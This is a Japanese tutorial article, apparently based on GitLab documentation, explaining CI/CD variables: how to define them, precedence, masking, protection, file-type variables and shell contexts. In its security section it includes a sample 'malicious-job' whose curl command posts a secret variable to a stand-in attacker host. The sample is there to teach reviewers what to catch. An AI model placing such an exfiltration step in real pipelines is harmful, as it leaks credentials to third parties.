CI/CD変数

(トップページはこちら) - (GitLab CI/CDを始める)

GitLab CI/CDにおいて、変数は単なる設定値の保存場所ではありません。パイプラインの動作を制御し、機密情報を安全に管理し、再利用可能なワークフローを構築するための強力な仕組みです。本記事では、GitLab CI/CD変数の全体像を技術的な観点から解説します。

1. CI/CD変数とは

CI/CD変数は環境変数の一種で、以下の用途で活用できます。

• ジョブとパイプラインの動作制御 - 実行環境に応じた柔軟な処理の切り替え
• 値の再利用 - ジョブスクリプト内で繰り返し使用する値の一元管理
• ハードコーディングの回避 - .gitlab-ci.ymlファイルに直接値を書き込まない設計

変数名はランナーが使用するシェルによって制限されます。各シェルには独自の予約変数名があるため、注意が必要です。

1.1 変数値の引用符に関する重要な注意点

変数値は必ず引用符で囲むことを推奨します。GitLabは内部的にPsych YAMLパーサーを使用しており、引用符の有無で解釈が変わる場合があります。

# 悪い例: 8進数として解釈され、値が5349になる
VAR1: 012345

# 良い例: 文字列として解釈され、値が012345になる
VAR1: "012345"

一貫した動作を保証するため、変数値は常に単一引用符または二重引用符で囲んでください。

2. 事前定義されたCI/CD変数

GitLab CI/CDは、パイプライン設定やジョブスクリプトで使用できる事前定義変数を提供しています。これらの変数には、ジョブ、パイプライン、その他の実行時情報が含まれています。

事前定義変数は宣言なしで.gitlab-ci.yml内で使用できます。

job1:
  stage: test
  script:
    - echo "このジョブのステージは '$CI_JOB_STAGE' です"

このスクリプトは このジョブのステージは 'test' です と出力します。

3. .gitlab-ci.ymlファイルでの変数定義

3.1 基本的な変数定義

.gitlab-ci.ymlファイル内で変数を作成するには、variablesキーワードを使用します。

重要: .gitlab-ci.ymlファイルに保存された変数は、リポジトリへのアクセス権を持つすべてのユーザーに表示されます。そのため、機密性の低いプロジェクト設定のみを保存すべきです。例えば、データベースのURLをDATABASE_URL変数に保存するような用途です。シークレットやキーなどの機密情報を含む変数は、UIから追加する必要があります。

variablesは以下の場所で定義できます。

• ジョブ内 - 変数はそのジョブのscript、before_script、after_scriptセクション、および一部のジョブキーワードでのみ利用可能
• .gitlab-ci.ymlファイルのトップレベル - 変数はパイプライン内のすべてのジョブのデフォルトとして利用可能（ただし、ジョブが同じ名前の変数を定義している場合、ジョブの変数が優先される）

どちらの場合も、これらの変数はグローバルキーワードでは使用できません。

variables:
  ALL_JOBS_VAR: "デフォルト変数"

job1:
  variables:
    JOB1_VAR: "ジョブ1の変数"
  script:
    - echo "変数は '$ALL_JOBS_VAR' と '$JOB1_VAR' です"

job2:
  variables:
    ALL_JOBS_VAR: "デフォルトとは異なる値"
    JOB2_VAR: "ジョブ2の変数"
  script:
    - echo "変数は '$ALL_JOBS_VAR'、'$JOB2_VAR'、'$JOB1_VAR' です"

この例では以下のように出力されます。

• job1: 変数は 'デフォルト変数' と 'ジョブ1の変数' です
• job2: 変数は 'デフォルトとは異なる値'、'ジョブ2の変数'、'' です

job2ではJOB1_VARが空文字列になることに注目してください。これは、ジョブレベルの変数は他のジョブからは参照できないためです。

手動トリガーされるパイプラインで変数を事前入力するには、valueとdescriptionキーワードを使用します。

3.2 単一ジョブでデフォルト変数をスキップ

ジョブでデフォルト変数を利用できないようにするには、variablesを{}に設定します。

variables:
  DEFAULT_VAR: "デフォルト変数"

job1:
  variables: {}
  script:
    - echo このジョブは変数を必要としません

4. UIでのCI/CD変数定義

トークンやパスワードなどの機密変数は、.gitlab-ci.ymlファイルではなく、UIの設定に保存する必要があります。

セキュリティに関する注意: デフォルトでは、フォークされたプロジェクトからのパイプラインは、親プロジェクトで利用可能なCI/CD変数にアクセスできません。ただし、フォークからのマージリクエストに対して親プロジェクトでマージリクエストパイプラインを実行する場合、すべての変数がパイプラインで利用可能になります。

4.1 プロジェクトレベルの変数

GitLab 18.3以降の変更: デフォルトの可視性が表示可能からマスク済みに変更されました。

プロジェクトの設定にCI/CD変数を追加できます。プロジェクトには最大8,000個のCI/CD変数を設定できます。

前提条件:

• メンテナーロールを持つプロジェクトメンバーである必要があります

変数の追加または更新手順:

1. 左サイドバーで検索または移動を選択し、プロジェクトを見つけます
2. 設定 > CI/CDを選択
3. 変数を展開
4. 変数を追加を選択し、詳細を入力:
   • キー: スペースなしの1行で、文字、数字、または_のみ使用
   • 値: 10,000文字まで（ランナーのOSの制限にも依存）。可視性がマスク済みまたはマスク済みかつ非表示に設定されている場合、追加の制限あり
   • タイプ: Variable（デフォルト）またはFile
   • 環境スコープ: オプション。すべて（デフォルト）（*）、特定の環境、またはワイルドカード環境スコープ
   • 変数を保護: オプション。選択すると、保護されたブランチまたは保護されたタグで実行されるパイプラインでのみ変数が利用可能
   • 可視性: 表示可能、マスク済み（デフォルト）、またはマスク済みかつ非表示を選択
   • 変数参照を展開: オプション。選択すると、変数は別の変数を参照可能。可視性がマスク済みまたはマスク済みかつ非表示に設定されている場合、別の変数を参照することは不可能

プロジェクト変数はAPIを使用して追加することもできます。

4.2 グループレベルの変数

GitLab 18.3以降の変更: デフォルトの可視性が表示可能からマスク済みに変更されました。

CI/CD変数をグループ内のすべてのプロジェクトで利用可能にできます。グループには最大30,000個のCI/CD変数を設定できます。

前提条件:

• オーナーロールを持つグループメンバーである必要があります

グループ変数の追加手順:

1. 左サイドバーで検索または移動を選択し、グループを見つけます
2. 設定 > CI/CDを選択
3. 変数を展開
4. 変数を追加を選択し、詳細を入力（プロジェクト変数と同様の項目）

プロジェクトで利用可能なグループ変数は、プロジェクトの設定 > CI/CD > 変数セクションに一覧表示されます。サブグループからの変数は再帰的に継承されます。

グループ変数はAPIを使用して追加することもできます。

4.2.1 環境スコープ（Premium、Ultimateティア）

グループCI/CD変数を特定の環境でのみ利用可能にするには:

1. 左サイドバーで検索または移動を選択し、グループを見つけます
2. 設定 > CI/CDを選択
3. 変数を展開
4. 変数の右側にある編集を選択
5. 環境スコープで、すべて（デフォルト）（*）、特定の環境、またはワイルドカード環境スコープを選択

4.3 インスタンスレベルの変数（Self-Managed、Dedicated）

GitLab 18.3以降の変更: デフォルトの可視性が表示可能からマスク済みに変更されました。

GitLabインスタンス内のすべてのプロジェクトとグループでCI/CD変数を利用可能にできます。

前提条件:

• インスタンスへの管理者アクセス権が必要

インスタンス変数の追加手順:

1. 左サイドバーの下部にある管理者を選択
2. 設定 > CI/CDを選択
3. 変数を展開
4. 変数を追加を選択し、詳細を入力（プロジェクト変数と同様の項目）

インスタンス変数はAPIを使用して追加することもできます。

5. CI/CD変数のセキュリティ

5.1 セキュリティリスクの理解

.gitlab-ci.ymlファイルにプッシュされたコードは、変数を危険にさらす可能性があります。変数は誤ってジョブログに露出したり、悪意を持ってサードパーティサーバーに送信されたりする可能性があります。

必須のレビュープロセス: 以下の操作を行う前に、.gitlab-ci.ymlファイルに変更を加えるすべてのマージリクエストを確認してください。

• フォークされたプロジェクトから送信されたマージリクエストに対して親プロジェクトでパイプラインを実行
• 変更をマージ

インポートされたプロジェクトの.gitlab-ci.ymlファイルは、ファイルを追加したりパイプラインを実行したりする前に確認してください。

以下は.gitlab-ci.ymlファイル内の悪意のあるコードの例です。

accidental-leak-job:
  script:                                         # パスワードが誤って露出
    - echo "このスクリプトは $USER $PASSWORD でDBにログインします"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # シークレットが悪意を持って露出
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

セキュリティ対策:

• accidental-leak-jobのようなスクリプトを通じて誤ってシークレットが漏洩するリスクを軽減するため、機密情報を含むすべての変数は常にジョブログでマスクする必要があります
• 変数を保護されたブランチとタグのみに制限することもできます
• 外部シークレット管理プロバイダーと連携してシークレットを保存・取得することを検討してください

重要: malicious-jobのような悪意のあるスクリプトは、レビュープロセス中に検出する必要があります。レビュアーは、このようなコードを見つけた場合、パイプラインをトリガーしてはいけません。悪意のあるコードは、マスクされた変数や保護された変数も危険にさらす可能性があるためです。

変数値はaes-256-cbcを使用して暗号化され、データベースに保存されます。このデータは、有効なシークレットファイルがあれば読み取りと復号化が可能です。

5.2 CI/CD変数をマスク

警告: CI/CD変数のマスクは、悪意のあるユーザーが変数値にアクセスするのを防ぐ保証された方法ではありません。機密情報のセキュリティを確保するには、外部シークレットとファイルタイプ変数の使用を検討し、envやprintenvなどのコマンドがシークレット変数を出力するのを防いでください。

プロジェクト、グループ、またはインスタンスのCI/CD変数をマスクして、ジョブログに値が表示されないようにできます。ジョブがマスクされた変数の値を出力すると、ジョブログでは値が[MASKED]に置き換えられます。場合によっては、[MASKED]の値の後にx文字が続くこともあります。

前提条件:

• UIでCI/CD変数を追加するために必要なロールまたはアクセスレベルと同じものが必要

変数をマスクする手順:

1. グループ、プロジェクト、または管理者エリアで、設定 > CI/CDを選択
2. 変数を展開
3. 保護したい変数の横にある編集を選択
4. 可視性で、変数をマスクを選択
5. 推奨: 変数参照を展開チェックボックスをクリア。変数展開が有効な場合、変数値で使用できる非英数字文字は_、:、@、-、+、.、~、=、/のみです。設定が無効な場合、すべての文字を使用できます
6. 変数を更新を選択

マスク可能な変数の要件:

• スペースなしの1行である
• 8文字以上である
• 既存の事前定義またはカスタムCI/CD変数の名前と一致しない

マスクの制限: プロセスが値をわずかに変更した形式で出力する場合、値はマスクできません。例えば、シェルが特殊文字をエスケープするために\を追加する場合、値はマスクされません。

• マスクされた変数値の例: My[value]
• マスクされない出力: My\[value\]

CI_DEBUG_SERVICESが有効な場合、変数値が明らかになる可能性があります。

5.3 CI/CD変数を非表示

GitLab 17.4で導入、GitLab 17.6で一般提供

マスクに加えて、CI/CD設定ページでCI/CD変数の値が表示されないようにすることもできます。

重要な制限: 変数を非表示にできるのは新しい変数を作成するときのみで、既存の変数を非表示に更新することはできません。

前提条件:

• UIでCI/CD変数を追加するために必要なロールまたはアクセスレベルと同じものが必要
• 変数値はマスクされた変数の要件を満たす必要がある

変数を非表示にするには、UIで新しいCI/CD変数を追加するときに、可視性セクションでマスク済みかつ非表示を選択します。変数を保存すると、変数はCI/CDパイプラインで使用できますが、UIで再度表示することはできません。

5.4 CI/CD変数を保護

プロジェクト、グループ、またはインスタンスのCI/CD変数を、保護されたブランチまたは保護されたタグで実行されるパイプラインでのみ利用可能になるように設定できます。

マージ結果パイプラインとマージリクエストパイプラインは、オプションで保護された変数にアクセスできます。

前提条件:

• UIでCI/CD変数を追加するために必要なロールまたはアクセスレベルと同じものが必要

変数を保護として設定する手順:

1. プロジェクトまたはグループで、設定 > CI/CDに移動
2. 変数を展開
3. 保護したい変数の横にある編集を選択
4. 変数を保護チェックボックスを選択
5. 変数を更新を選択

変数は、以降のすべてのパイプラインで利用可能になります。

5.5 ファイルタイプのCI/CD変数を使用

すべての事前定義CI/CD変数と.gitlab-ci.ymlファイルで定義された変数は「変数」タイプ（APIでは"variable_type": "env_var"）です。

変数タイプの特徴:

• キーと値のペアで構成
• ジョブで環境変数として利用可能:
  • CI/CD変数のキーが環境変数名
  • CI/CD変数の値が環境変数の値

プロジェクト、グループ、インスタンスのCI/CD変数はデフォルトで「変数」タイプですが、オプションで「ファイル」タイプ（APIでは"variable_type": "file"）に設定できます。

ファイルタイプの特徴:

• キー、値、ファイルで構成
• ジョブで環境変数として利用可能:
  • CI/CD変数のキーが環境変数名
  • CI/CD変数の値が一時ファイルに保存される
  • 一時ファイルへのパスが環境変数の値になる

使用例: ファイルを入力として必要とするツールには、ファイルタイプのCI/CD変数を使用します。

例えば、AWS CLIとkubectlは両方とも設定にFileタイプ変数を使用するツールです。kubectlを以下のように使用する場合:

• キーがKUBE_URLで値がhttps://example.comの変数
• キーがKUBE_CA_PEMで値が証明書のファイルタイプ変数

KUBE_URLを変数を受け入れる--serverオプションとして渡し、$KUBE_CA_PEMをファイルへのパスを受け入れる--certificate-authorityオプションとして渡します。

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

5.5.1 .gitlab-ci.yml変数をファイルタイプ変数として使用

.gitlab-ci.ymlファイルで定義されたCI/CD変数をファイルタイプ変数として設定することはできません。ファイルパスを入力として必要とするツールがあるが、.gitlab-ci.ymlで定義された変数を使用したい場合は、以下の回避策を使用します。

• 変数の値をファイルに保存するコマンドを実行
• そのファイルをツールで使用

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

6. CI/CD変数の展開を許可

GitLab 16.3: 変数を展開オプションが変数参照を展開に名称変更されました。

GitLab 18.6: デフォルトで無効に変更されました。

変数を設定して、$文字を含む値を別の変数への参照として扱うことができます。パイプラインが実行されると、参照は参照された変数の値を使用するように展開されます。

UIで定義されたCI/CD変数はデフォルトで展開されません。.gitlab-ci.ymlファイルで定義されたCI/CD変数の場合、variables:expandキーワードで変数展開を制御します。

前提条件:

• UIでCI/CD変数を追加するために必要なロールまたはアクセスレベルと同じものが必要

変数の変数展開を有効にする手順:

1. プロジェクトまたはグループで、設定 > CI/CDに移動
2. 変数を展開
3. 展開したい変数の横にある編集を選択
4. 変数参照を展開チェックボックスを選択
5. 変数を更新を選択

重要な注意: 変数展開を使用する場合、変数値をマスクしないでください。マスクと変数展開の両方を組み合わせると、文字制限により$を使用して他の変数を参照できなくなります。

7. CI/CD変数の優先順位

GitLab 16.7: スキャン実行ポリシー変数の優先順位が変更されました。

GitLab 16.8: 機能フラグが削除されました。

異なる場所で同じ名前のCI/CD変数を使用できますが、値は互いに上書きされる可能性があります。変数のタイプと定義場所によって、どの変数が優先されるかが決まります。

7.1 優先順位の一覧（高い順から低い順）

1. パイプライン実行ポリシー変数
2. スキャン実行ポリシー変数
3. パイプライン変数（以下はすべて同じ優先順位）:
   • ダウンストリームパイプラインに渡される変数
   • トリガー変数
   • スケジュールされたパイプライン変数
   • 手動パイプライン変数
   • APIでパイプラインを作成するときに追加される変数
   • 手動ジョブ変数
4. プロジェクト変数
5. グループ変数（同じ変数名がグループとそのサブグループに存在する場合、ジョブは最も近いサブグループの値を使用。例: グループ > サブグループ1 > サブグループ2 > プロジェクトの場合、サブグループ2で定義された変数が優先）
6. インスタンス変数
7. dotenvレポートからの変数
8. .gitlab-ci.ymlファイルのジョブで定義されたジョブ変数
9. .gitlab-ci.ymlファイルのトップレベルで定義されたすべてのジョブのデフォルト変数
10. デプロイメント変数
11. 事前定義変数

7.2 優先順位の実例

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "変数は '$API_TOKEN' です"

この例では、.gitlab-ci.ymlファイルのジョブで定義された変数（優先順位8位）がデフォルト変数（優先順位9位）よりも優先順位が高いため、job1は変数は 'secure' ですと出力します。

8. パイプライン変数を使用

8.1 パイプライン変数の基本

パイプライン変数は、新しいパイプラインを実行するときに指定される変数です。

GitLab 17.7以降の推奨事項: パイプライン変数を渡すよりもパイプライン入力が推奨されます。セキュリティ強化のため、入力を使用する場合はパイプライン変数を無効化する必要があります。

前提条件:

• プロジェクトで開発者ロールが必要

パイプライン変数を指定できる場面:

• UIで手動でパイプラインを実行
• スケジュールされたパイプラインを作成
• pipelines APIエンドポイントを使用してパイプラインを作成
• triggers APIエンドポイントを使用してパイプラインを作成
• プッシュオプションを使用
• variablesキーワード、trigger:forwardキーワード、またはdotenv変数を使用してダウンストリームパイプラインに変数を渡す

これらの変数は優先順位が高く（優先順位3位）、事前定義変数を含む他の定義された変数を上書きできます。

警告: ほとんどの場合、事前定義変数の上書きは避けるべきです。パイプラインが予期しない動作をする可能性があります。

8.2 パイプライン変数を制限

GitLab 17.1で導入

GitLab 17.7の変更: GitLab.comの新しい名前空間内のすべての新しいプロジェクトのデフォルト設定がci_pipeline_variables_minimum_override_roleに対してno_one_allowedに更新されました。

パイプライン変数を使用してパイプラインを実行できるユーザーを特定のユーザーロールに制限できます。低いロールのユーザーがパイプライン変数を使用しようとすると、パイプライン変数を設定する権限が不足していますというエラーメッセージが表示されます。

前提条件:

• プロジェクトでメンテナーロールが必要。最小ロールが以前にownerまたはno_one_allowedに設定されていた場合、プロジェクトでオーナーロールが必要

パイプライン変数の使用を制限する手順:

• 設定 > CI/CD > 変数に移動
• パイプライン変数を使用するための最小ロールで、以下のいずれかを選択:
  • no_one_allowed: パイプライン変数を使用してパイプラインを実行できない。GitLab.comの新しい名前空間内の新しいプロジェクトのデフォルト
  • owner: オーナーロールを持つユーザーのみがパイプライン変数を使用してパイプラインを実行可能。設定をこの値に変更するには、プロジェクトのオーナーロールが必要
  • maintainer: 少なくともメンテナーロールを持つユーザーのみがパイプライン変数を使用してパイプラインを実行可能。GitLab Self-ManagedとGitLab Dedicatedで指定されていない場合のデフォルト
  • developer: 少なくとも開発者ロールを持つユーザーのみがパイプライン変数を使用してパイプラインを実行可能

プロジェクトAPIを使用して、ci_pipeline_variables_minimum_override_role設定のロールを設定することもできます。

制限の影響範囲: この制限は、プロジェクトまたはグループ設定からのCI/CD変数の使用には影響しません。ほとんどのジョブは、YAML設定でvariablesキーワードを使用できますが、ダウンストリームパイプラインをトリガーするためにtriggerキーワードを使用するジョブは使用できません。トリガージョブは変数をダウンストリームパイプラインにパイプライン変数として渡しますが、これもこの設定によって制御されます。

8.3 複数のプロジェクトでパイプライン変数制限を有効化

GitLab 18.4で導入

多くのプロジェクトを持つグループの場合、現在パイプライン変数を使用していないすべてのプロジェクトでパイプライン変数を無効化できます。このオプションは、パイプライン変数を一度も使用したことがないプロジェクトのパイプライン変数を使用するための最小ロール設定をno_one_allowedに設定します。

前提条件:

• グループのオーナーロールが必要

グループ内のプロジェクトでパイプライン変数制限設定を有効にする手順:

1. 左サイドバーで検索または移動を選択し、グループを見つけます
2. 設定 > CI/CDを選択
3. 変数を展開
4. 使用していないプロジェクトでパイプライン変数を無効化セクションで、移行を開始を選択

移行はバックグラウンドで実行されます。移行が完了すると、メール通知が届きます。プロジェクトのメンテナーは、必要に応じて後で個々のプロジェクトの設定を変更できます。

9. 変数のエクスポート

9.1 シェルコンテキストの理解

別々のシェルコンテキストで実行されるスクリプトは、エクスポート、エイリアス、ローカル関数定義、またはその他のローカルシェル更新を共有しません。

これは、ジョブが失敗した場合、ユーザー定義スクリプトによって作成された変数はエクスポートされないことを意味します。

ランナーのスクリプト実行方法:

• before_scriptで指定されたスクリプトとメインスクリプトは、単一のシェルコンテキストで一緒に実行され、連結されます
• after_scriptで指定されたスクリプトは、before_scriptおよび指定されたスクリプトとは完全に別のシェルコンテキストで実行されます

9.2 ランナーが認識する変数

スクリプトが実行されるシェルに関係なく、ランナーの出力には以下が含まれます。

• 事前定義変数
• 以下で定義された変数:
  • インスタンス、グループ、またはプロジェクトのCI/CD設定
  • .gitlab-ci.ymlファイルのvariables:セクション
  • .gitlab-ci.ymlファイルのsecrets:セクション
  • config.toml

重要な制限: ランナーは、export MY_VARIABLE=1のようなスクリプト本体で実行される手動エクスポート、シェルエイリアス、関数を処理できません。

9.3 実例: シェルコンテキストの分離

job:
 variables:
   JOB_DEFINED_VARIABLE: "ジョブ変数"
 before_script:
   - echo "これは 'before_script' スクリプトです"
   - export MY_VARIABLE="変数"
 script:
   - echo "これは 'script' スクリプトです"
   - echo "JOB_DEFINED_VARIABLEの値は ${JOB_DEFINED_VARIABLE} です"
   - echo "CI_COMMIT_SHAの値は ${CI_COMMIT_SHA} です"
   - echo "MY_VARIABLEの値は ${MY_VARIABLE} です"
 after_script:
   - echo "JOB_DEFINED_VARIABLEの値は ${JOB_DEFINED_VARIABLE} です"
   - echo "CI_COMMIT_SHAの値は ${CI_COMMIT_SHA} です"
   - echo "MY_VARIABLEの値は ${MY_VARIABLE} です"

ランナーがジョブを実行する場合の処理フロー:

実行結果の詳細:

1. before_scriptが実行される:
   1. 出力に表示
   2. MY_VARIABLEの変数を定義
2. scriptが実行される（before_scriptと同じシェルコンテキスト）:
   1. 出力に表示
   2. JOB_DEFINED_VARIABLEの値を表示 → ジョブ変数
   3. CI_COMMIT_SHAの値を表示 → コミットハッシュ
   4. MY_VARIABLEの値を表示 → 変数
3. after_scriptが新しい別のシェルコンテキストで実行される:
   1. 出力に表示
   2. JOB_DEFINED_VARIABLEの値を表示 → ジョブ変数（ランナーが認識）
   3. CI_COMMIT_SHAの値を表示 → コミットハッシュ（ランナーが認識）
   4. MY_VARIABLEの値を表示 → 空文字列（after_scriptはbefore_scriptとは別のシェルコンテキストにあるため、変数値を検出できない）

10. 関連トピックと実践例

10.1 Auto DevOpsとの統合

Auto DevOpsを設定して、実行中のアプリケーションにCI/CD変数を渡すことができます。CI/CD変数を実行中のアプリケーションのコンテナで環境変数として利用可能にするには、変数キーにK8S_SECRET_プレフィックスを付けます。

10.2 複雑な設定データの管理

複雑な設定データモノレポの実例プロジェクトでは、複数レベルのグループCI/CD変数を環境スコープのプロジェクト変数と組み合わせて、アプリケーションのビルドまたはデプロイメントの複雑な設定を行う方法を説明しています。この例は、テスト用に独自のグループまたはインスタンスにコピーできます。

10.3 ダウンストリームパイプラインへの変数の受け渡し

ダウンストリームパイプラインにCI/CD変数を渡すことができます。trigger:forwardキーワードを使用して、ダウンストリームパイプラインに渡す変数のタイプを指定します。

まとめ

GitLab CI/CD変数は、パイプラインの柔軟性とセキュリティを両立させる重要な機能です。本記事で解説した内容を整理します。

変数の定義場所による使い分け:

• .gitlab-ci.ymlファイル: 非機密情報、リポジトリ固有の設定
• プロジェクト変数: プロジェクト固有の機密情報（最大8,000個）
• グループ変数: 複数プロジェクトで共有する機密情報（最大30,000個）
• インスタンス変数: インスタンス全体で共有する機密情報

セキュリティのベストプラクティス:

• 機密情報は必ずマスクする
• 保護されたブランチ・タグでのみ使用する変数は保護設定を有効化
• 外部シークレット管理プロバイダーの使用を検討
• .gitlab-ci.ymlの変更は必ずレビュー
• GitLab 18.3以降はデフォルトでマスク済みになるが、明示的な設定を推奨

優先順位の理解:

• パイプライン変数（優先順位3位）は強力だが、慎重に使用
• ジョブ変数（優先順位8位）はデフォルト変数（優先順位9位）より優先
• 事前定義変数（優先順位11位）の上書きは避ける

実践のステップ:

1. まずは小さなプロジェクトで変数の基本的な使い方を試す
2. セキュリティ設定（マスク、保護）を理解し適用する
3. グループ変数を活用して複数プロジェクトでの設定を効率化
4. 優先順位を理解し、意図しない上書きを防ぐ
5. 徐々に複雑な設定（環境スコープ、変数展開など）に挑戦

適切なスコープと可視性設定を組み合わせることで、チーム全体で安全かつ効率的なCI/CDワークフローを構築できます。